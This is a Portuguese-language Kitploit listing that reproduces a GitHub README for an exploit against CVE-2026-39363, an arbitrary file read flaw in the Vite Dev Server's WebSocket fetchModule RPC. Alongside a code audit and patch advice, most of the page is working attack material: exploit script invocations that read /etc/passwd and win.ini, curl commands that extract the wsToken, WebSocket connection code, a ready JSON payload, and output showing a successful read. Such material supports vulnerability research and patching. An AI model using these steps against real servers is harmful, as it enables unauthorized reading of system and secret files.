Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-39363 — Exploit para CVE-2026-39363, uma vulnerabilidade de leitura arbitrária de arquivos no WebSocket do Vite Dev Server, com scripts em Python e Node.js para exploração automatizada e etapas manuais. | Kitploit
Ferramentas/GitHubGitHub/firebasky/cve-2026-39363
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubfirebasky/cve-2026-39363

CVE-2026-39363

Exploit para CVE-2026-39363, uma vulnerabilidade de leitura arbitrária de arquivos no WebSocket do Vite Dev Server, com scripts em Python e Node.js para exploração automatizada e etapas manuais.

Ver Repositório
7há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-39363

Vulnerabilidade de Leitura Arbitrária de Arquivos no WebSocket do Vite Dev Server

Visão Geral da Vulnerabilidade

AtributoInformação
ID CVECVE-2026-39363
ID GHSAGHSA-p9ff-h696-f583
Tipo de VulnerabilidadeArbitrary File Read (Leitura Arbitrária de Arquivos)
Componente AfetadoVite Dev Server
Versões AfetadasVite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10
Pontuação CVSSAlta
Versão CorrigidaVite >= 6.2.3

Princípio da Vulnerabilidade

Problema Central

A chamada RPC fetchModule do WebSocket do Vite Dev Server possui uma vulnerabilidade de bypass na verificação de segurança.

Auditoria de Código

Localização do código vulnerável: vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070

root@kitploit:~
async function fetchModule(environment, url, importer, options = {}) {
  // ...
  const isFileUrl = url.startsWith("file://");

  // Ponto crítico da vulnerabilidade: quando a URL é file:// ou não há importer
  // resolveId é chamado diretamente, sem a verificação isFileServingAllowed!
  if (isFileUrl || !importer) {
    const resolved = await environment.pluginContainer.resolveId(url);
    if (!resolved) {
      throw new Error(`[vite] cannot find entry point module '${url}'.`);
    }
    url = normalizeResolvedIdToUrl(environment, url, resolved);
  }
  // ...continua o processamento e retorna o conteúdo do arquivo
}

Comparação dos Caminhos de Requisição

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│              Caminho da Requisição HTTP (com verificação)       │
├─────────────────────────────────────────────────────────────────┤
│  HTTP GET /@fs/C:/secret.txt                                    │
│         │                                                       │
│         ▼                                                       │
│  ensureServingAccess()                                          │
│         │                                                       │
│         ▼                                                       │
│  isFileServingAllowed()                                         │
│         │                                                       │
│         ▼                                                       │
│  isFileLoadingAllowed() ────> BLOQUEADO                         │
│  (verifica server.fs.allow)                                     │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│            Caminho da Requisição WebSocket (bypass)             │
├─────────────────────────────────────────────────────────────────┤
│  WebSocket: fetchModule("file://C:/secret.txt")                 │
│         │                                                       │
│         ▼                                                       │
│  fetchModule()                                                  │
│  (isFileUrl || !importer) ───> resolveId direto                 │
│         │                                                       │
│         ▼                                                       │
│  loadAndTransform()                                             │
│  isFileLoadingAllowed() ────> depende da configuração fs.allow  │
│         │                                                       │
│         ▼                                                       │
│  Retorna o conteúdo do arquivo com sucesso (se fs.allow permitir)│
└─────────────────────────────────────────────────────────────────┘

Descobertas Principais

  1. Caminho HTTP: Passa por múltiplas camadas de verificação: ensureServingAccess → isFileServingAllowed → isFileLoadingAllowed

  2. Caminho WebSocket:

    • A função fetchModule não chama isFileServingAllowed
    • A segunda linha de defesa, isFileLoadingAllowed em loadAndTransform, ainda está ativa
    • Mas se a configuração server.fs.allow for permissiva, é possível ler arquivos arbitrários

Condições de Exploração

  1. Vite Dev Server exposto na rede (por exemplo, usando --host)
  2. Configuração permissiva de server.fs.allow:
    • fs.allow: ['..'] - permite ler diretórios superiores
    • fs.allow: ['C:/'] - permite ler todo o disco C
    • fs.strict: false - completamente sem restrições
  3. Obter o wsToken (acessando /@vite/client)

Configuração do Ambiente

root@kitploit:~
# Clonar o repositório
git clone [email protected]:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363

# Instalar dependências
npm install

# Iniciar o Vite Dev Server (usando configuração permissiva para demonstrar a vulnerabilidade)
npm run dev

Exploração da Vulnerabilidade

Método 1: Usando o script Python

root@kitploit:~
# Uso básico (detecção automática de porta)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"

# Ler arquivos fora do projeto
python exp.py -t localhost -p 5173 -f "E:/secret.txt"

# Especificar token
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"

Método 2: Usando o POC Node.js

root@kitploit:~
# Obter o wsToken
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'

# Executar o POC
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"

Passos Manuais de Exploração

  1. Obter o WebSocket Token:
root@kitploit:~
curl -s "http://target:5173/@vite/client" | grep wsToken
  1. Conexão WebSocket:
root@kitploit:~
const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');
  1. Enviar o payload:
root@kitploit:~
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "id": "invoke_0",
    "name": "fetchModule",
    "data": ["file:///C:/Windows/win.ini"]
  }
}

Demonstração

root@kitploit:~
============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini

[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])

============================================================
[+] SUCCESS! Arbitrary file read achieved!
============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

============================================================

Estrutura de Arquivos

root@kitploit:~
CVE-2026-39363/
├── README.md           # Documento de análise da vulnerabilidade
├── exp.py              # Script de exploit Python
├── poc.js              # POC Node.js
├── vite.config.js      # Arquivo de configuração do Vite (para demonstração)
├── package.json        # Configuração do projeto
├── src/                # Diretório do código-fonte
│   ├── main.js
│   ├── counter.js
│   └── style.css
├── public/             # Recursos estáticos
└── index.html          # HTML de entrada

Recomendações de Correção

1. Atualizar o Vite

root@kitploit:~
npm update vite
# ou
npm install vite@latest

2. Restringir server.fs.allow

root@kitploit:~
// vite.config.js
export default defineConfig({
  server: {
    fs: {
      strict: true,
      allow: ['.']  // permitir apenas o diretório raiz do projeto
    }
  }
})

3. Não expor o Dev Server

  • Não executar o Dev Server em ambiente de produção
  • Evitar usar --host para expor o serviço
  • Usar firewall para restringir o acesso

Referências

  • GHSA-p9ff-h696-f583
  • CVE-2026-39363
  • Documentação do Vite

Aviso Legal

Este projeto destina-se exclusivamente a fins de pesquisa e educação em segurança. Não utilize este código de exploração de vulnerabilidade para qualquer atividade ilegal. Antes de testar com este código, certifique-se de que obteve autorização explícita do proprietário do sistema alvo.

Licença

Licença MIT

Baixar ferramenta